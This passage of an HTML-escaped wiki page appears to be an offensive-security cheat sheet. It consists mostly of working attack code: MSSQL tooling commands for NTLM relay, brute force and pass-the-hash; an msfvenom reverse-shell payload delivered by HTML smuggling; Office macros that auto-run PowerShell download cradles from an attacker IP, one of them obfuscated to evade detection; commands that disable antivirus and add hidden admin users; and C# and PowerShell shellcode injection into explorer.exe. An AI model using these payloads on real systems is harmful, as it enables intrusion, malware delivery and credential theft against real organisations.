python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
